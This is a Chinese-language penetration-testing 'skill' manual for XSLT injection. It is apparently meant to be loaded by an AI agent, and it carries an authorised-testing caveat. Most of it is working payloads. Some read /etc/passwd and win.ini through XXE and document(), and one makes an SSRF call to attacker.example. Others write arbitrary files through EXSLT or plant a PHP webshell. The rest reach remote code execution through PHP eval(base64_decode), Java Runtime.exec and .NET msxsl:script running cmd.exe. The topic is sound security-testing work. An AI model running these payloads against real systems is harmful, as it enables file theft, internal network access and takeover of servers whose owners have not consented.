XSLT 注入测试:解析器指纹识别、XXE 与 document() SSRF、EXSLT 文件写入原语,以及 PHP/Java/.NET 扩展 RCE 攻击面。当目标存在用户可控的 XSLT/样式表输入或转换接口时使用。
SKILL: XSLT 注入 — 测试手册
AI 加载指令:当服务端编译/执行受攻击者影响的 XSLT 时,即会发生 XSLT 注入。测试时应先梳理解析器家族(Java/.NET/PHP/libxslt),再根据具体平台组合利用 document()、外部实体、EXSLT 或内嵌脚本/扩展函数。仅限获授权的测试,许多 Payload 具有破坏性。路由提示:如果输入属于通用 XML 解析且不一定经过 XSLT,请交叉加载
xxe-xml-external-entity;如果关心出站的document(http:...)请求,请交叉加载ssrf-server-side-request-forgery。
0. 快速开始
- 寻找 Sink(汇聚点):名称为
xslt、stylesheet、transform、template的参数,以及 SOAP 样式表、报表生成器、XML→HTML 转换器等。 - 探测反射:注入唯一的命名空间或
xsl:value-of select="'marker'"— 若输出发生变化,则极可能存在执行。 - 识别指纹:定位解析器类型(§1)。
- 按家族提升权限:document() / XXE(§2–3)、EXSLT 写入(§4)、PHP(§5)、Java(§6)、.NET(§7)。
快速探测(无害标记):
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="'XSLT_PROBE_OK'"/>
</xsl:template>
</xsl:stylesheet>
1. 厂商/解析器识别
在表达式中使用标准的 system-property 进行读取:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:text> version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
<xsl:text> vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
</xsl:template>
</xsl:stylesheet>
典型指纹特征(示例,未穷尽):
| 特征信号 | 可能的引擎 |
|---|---|
Apache Software Foundation / Xalan 标记 |
Xalan (Java) |
Saxonica / Saxon URI 提示 |
Saxon |
libxslt / GNOME 技术栈 |
libxslt (C, 常通过 PHP、nginx 模块等使用) |
| Microsoft URL / MSXML 字符串 | MSXML / .NET XSLT 技术栈 |
根据识别结果选择 §5–§7 的利用路径。
2. 外部实体(通过 XSLT 触发 XXE)
当解析器允许 DTD 时,XSLT 1.0 允许在样式表或源文档中使用基于 DTD 的实体:
<!DOCTYPE xsl:stylesheet [
<!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:value-of select="'ENTITY_START'"/>
<xsl:value-of select="&ext_file;"/>
<xsl:value-of select="'ENTITY_END'"/>
</xsl:template>
</xsl:stylesheet>
注意:经过加固的解析器会禁用外部 DTD — 此处失败并不代表排除其他 XSLT 攻击向量(参见 §3)。
3. 通过 document() 读取文件
document() 会将另一个 XML 文档加载到节点集中;本地文件通常作为 XML 解析(容易报解析错),但报错信息与部分读取仍可能造成泄露。
Unix 示例:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
Windows 示例:
<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>
SSRF / 外带通信 (Out-of-band):
<xsl:copy-of select="document('http://attacker.example/ssrf')"/>
如果内联数据未返回给客户端,可结合基于报错或基于时间的观察手段进行利用。
4. 通过 EXSLT 写入文件 (exslt:document)
当启用 EXSLT common 扩展时:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit">
<xsl:template match="/">
<exploit:document href="/tmp/evil.txt" method="text">
<xsl:text>PROOF_CONTENT</xsl:text>
</exploit:document>
</xsl:template>
</xsl:stylesheet>
影响:在路径权限允许的前提下实现任意文件写入 — 通常可通过 Web 目录、Cron 路径或文件包含点实现 RCE。
5. 通过 PHP 实现 RCE (php:function)
前提是 PHP XSLT 暴露了类似 registerPHPFunctions() 的配置(属于应用层配置错误)。命名空间设置:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:value-of select="php:function('readfile','index.php')"/>
</xsl:template>
</xsl:stylesheet>
目录遍历/列表:
<xsl:value-of select="php:function('scandir','.')"/>
高危模式(历史滥用方式 — 仅限实验室验证):
php:function('assert', string($payload))— 受环境影响大,已被废弃/移除;旧版应用中常结合include/require使用。php:function('file_put_contents','/var/www/shell.php','<?php ...')— 当可调用的函数白名单放权过大时可导致写入 Webshell。- 带
/e修正符的preg_replace(历史 PHP 版本) — 替换字符串会被当作 PHP 代码执行;Metasploit 风格的链条常包裹 Base64 编码的二进制块,用于隐蔽传输 Meterpreter(或其他)分阶段 Payload。PHP 7+ 已移除该特性,仅适用于古老运行时。
旧版 PHP 等效代码(演示 /e + Base64 模式 — 仅限实验室):
preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);
仅当 php:function 将 preg_replace 暴露给用户样式表时,才能从 XSLT 触发此攻击面(罕见且属于严重配置错误)。
测试者注意:现代 PHP 加固手段通常会拦截这些函数;未成功实现 RCE 并不意味着不存在 document() / XXE。
6. 通过 JAVA 实现 RCE (SAXON / XALAN 扩展)
Java 引擎可能会暴露映射到静态方法的扩展函数。历史漏洞通告中曾出现过相关示例;具体语法取决于版本和扩展绑定。
示意模式(概念性 — 请根据允许的扩展命名空间与 API 进行调整):
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
</xsl:template>
</xsl:stylesheet>
Saxon 风格静态 Java 集成(高度依赖具体配置):
Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')
请将 192.0.2.1 替换为你的实验环境监听地址 / 文档专用 IP(RFC 5737 TEST-NET)。
操作指南:如果扩展被禁用(常见的安全默认配置),请转向 document()、SSRF 或其他地方的反序列化 — 并非所有 XSLT 端点都在开启扩展的情况下运行。
7. 通过 .NET 实现 RCE (msxsl:script)
当允许使用微软 XSLT 脚本块时:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
extension-element-prefixes="msxsl">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xexec() {
System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
return "ok";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xexec()"/>
</xsl:template>
</xsl:stylesheet>
默认安全配置通常会禁用脚本 — 将此视作开启配置下的行为。
8. 决策树
用户能否影响 XSLT 或 XML 转换?
|
否 --> 停止(不在范围内)
|
是
|
+---------------+---------------+
| |
输出是否反映 无反射
注入的逻辑? 尝试盲注通道
| |
v v
system-property() 报错、OOB、时序
识别厂商指纹 |
| |
+-----------+-----------+ |
| | | |
libxslt Java .NET document()
| | | |
document() Saxon/Xalan msxsl:script? SSRF/文件
EXSLT 写入 扩展功能? | |
| | C# Process EXSLT?
v v v v
文件读写 rt/exec cmd.exe /c 映射证据链
Payloads All The Things (PAT) 补充说明
PayloadsAllTheThings 项目收录了许多注入类型;对于 XSLT,维护者说明中指出,相比 SQLi/XSS 工具链,没有专门维护的自动化工具板块 — 漏洞利用具有解析器与配置强相关性,主要靠代理/手工 Payload 及自定义脚本驱动。在条件允许时,请预留时间在与目标环境相同引擎/版本的本地实验室中进行复现。
工具链(实用推荐)
| 类别 | 示例 |
|---|---|
| 代理 / 手工 | Burp Suite、OWASP ZAP — 重放样式表 Payload,观察响应与报错 |
| XML/XSLT 实验室 | 在虚拟机中匹配完全一致的解析器(PHP libxslt、Java Saxon 版本、.NET framework) |
| 带外通信 (OOB) | Collaborator / 私有回调服务器(用于 document('http://…')) |
没有任何单一的通用扫描器可以替代针对具体版本的行为验证。
相关内容
- xxe-xml-external-entity — DTD/实体加固,通用 XML 解析器 (
../xxe-xml-external-entity/SKILL.md)。 - ssrf-server-side-request-forgery — 当
document(http:…)或实体 URL 触发服务端抓取时 (../ssrf-server-side-request-forgery/SKILL.md)。






